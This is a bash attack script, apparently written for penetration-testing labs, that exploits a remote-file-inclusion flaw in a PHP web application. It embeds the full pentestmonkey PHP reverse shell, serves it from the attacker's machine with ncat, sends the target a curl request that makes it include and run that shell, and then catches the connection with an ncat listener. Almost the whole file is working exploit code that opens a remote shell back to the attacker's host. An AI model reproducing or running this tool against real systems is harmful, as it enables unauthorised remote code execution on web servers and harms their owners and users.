raphaeshell.sh

#! /bin/bash
######################################################################
##x```
##|
##|                      .__                         .__           .__  .__
##| ____________  ______ |  |__ _____    ____   _____|  |__   ____ |  | |  |
##| \_  __ \__  \ \____ \|  |  \\__  \ _/ __ \ /  ___/  |  \_/ __ \|  | |  |
##|  |  | \// __ \|  |_> >   Y  \/ __ \\  ___/ \___ \|   Y  \  ___/|  |_|  |__
##|  |__|  (____  /   __/|___|  (____  /\___  >____  >___|  /\___  >____/____/
##|             \/|__|        \/     \/     \/     \/     \/     \/
##|
##x```
############################################################
## Usage
##----------------------------------------------------------
## raphaeshell -s rfi_var http://ip/advanced_comment_system/index.php
##----------------------------------------------------------

# a very large variable.....

PHP_SHELL=$(cat <<'PHP_REVERSE_SHELL'
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
ini_set('display_errors', 1);
set_time_limit (0);
$VERSION = "1.0";
$ip = isset($_REQUEST['h']) ? $_REQUEST['h'] : $_SERVER['REMOTE_ADDR'];
$port = $_REQUEST['p'] ? $_REQUEST['p'] : 443;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
// use python to get a tty
$shell = 'uname -a; w; id; export TERM=xterm; /usr/bin/python -c \'import pty; pty.spawn("/bin/bash")\'';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();

	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}

	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
die();
PHP_REVERSE_SHELL
)

LHTTP_PORT="80"
LSHELL_PORT="443"
LHOST=`ip addr show tap0 | grep -P "inet\b" | grep -oP "([0-9]{1,3}\.?){4}" | head -n 1`

if [ -z "$LHOST"  ]; then
  LHOST=`ip addr show eth0 | grep -P "inet\b" | grep -oP "([0-9]{1,3}\.?){4}" | head -n 1`
fi

if [ -z "$LHOST"  ]; then
	LHOST=`ip addr show wlp2s0 | grep -P "inet\b" | grep -oP "([0-9]{1,3}\.?){4}" | head -n 1`
fi

##|--------------------------------------------------------------------
##|## Actions
##--------------------------------------------------------------------
##
function shell_action {

  if [ -z "${LHOST}" ] || [ -z "${REMOTE_ENDPOINT}" ]; then
		$0 -h
		exit 1
  fi

  $ME serve -l $LHOST -p $LHTTP_PORT -P $LSHELL_PORT &
  NCAT_PID=$?
  trap "kill -9 $NCAT_PID" SIGINT SIGTERM EXIT
  echo "HTTP Server setup on port $LHTTP_PORT"

  echo "Attempting connection to $REMOTE_ENDPOINT with a callback to $CALLBACK_ENDPOINT"

  sh -c "sleep 1; curl -s $REMOTE_ENDPOINT \
      --data '&$SHELL_PARAM=$CALLBACK_ENDPOINT?'" &

  ncat -lvp $LSHELL_PORT
}

function crs_action {
  echo "$PHP_SHELL"
}

##
##|### serve
##|  serve php reverse shell
##x
function serve_action {
  ncat -lvp $LHTTP_PORT --sh-exec "echo 'HTTP/1.1 200 OK\r\n'; $ME crs"
}

##
##|### help
##|  displays help page
##x
function help_action {
  if [ -z $MARKDOWN ]; then
		echo face
    cat $0 | grep -v "##x" | sed 's/##|[#]\+\?/##/g' | egrep -a --color  '^##[\*#\|-]+?'
    exit 1
  fi

  cat $0 | egrep -a '^##[x\|]' | sed 's/##[x|]//g'
  exit 1
}

ACTION="shell_action"


## Options
##----------------------------------------------------------
while [[ $# -gt 0 ]] ; do
  key="$1"
  case $key in
    help|serve|crs)
    ACTION="${1}_action"
    ;;
##
##  -s
##    shell param
    -s)
    SHELL_PARAM="$2"
    shift
    ;;
##
##  -l
##    Local IP - defaults to tap0, eth0, wlp2s0
    -l)
    LHOST="$2"
    shift
    ;;
##
##  -p
##    Local http PORT - defaults to 80
##
##  -p
##    Local http PORT - defaults to 80
    -p)
    LHTTP_PORT="$2"
    shift
    ;;
##
##  -h | --help
##    Display this help message
    -h | --help)
		ACTION="help_action"
    break
    ;;
##
##  -P
##    Local shell PORT - defaults to 443
    -P)
    LSHELL_PORT="$2"
    shift
    ;;
    *)
    REMOTE_ENDPOINT="$key"
   esac
   shift # past argument or value
done

#------
# private methods

set -e
path=`pwd`
ME=`realpath $0`

CALLBACK_ENDPOINT="http://$LHOST:$LHTTP_PORT"


type "$ACTION" 1>/dev/null || exit 1
$ACTION
exit
##--------------------------------------------------------------------
######################################################################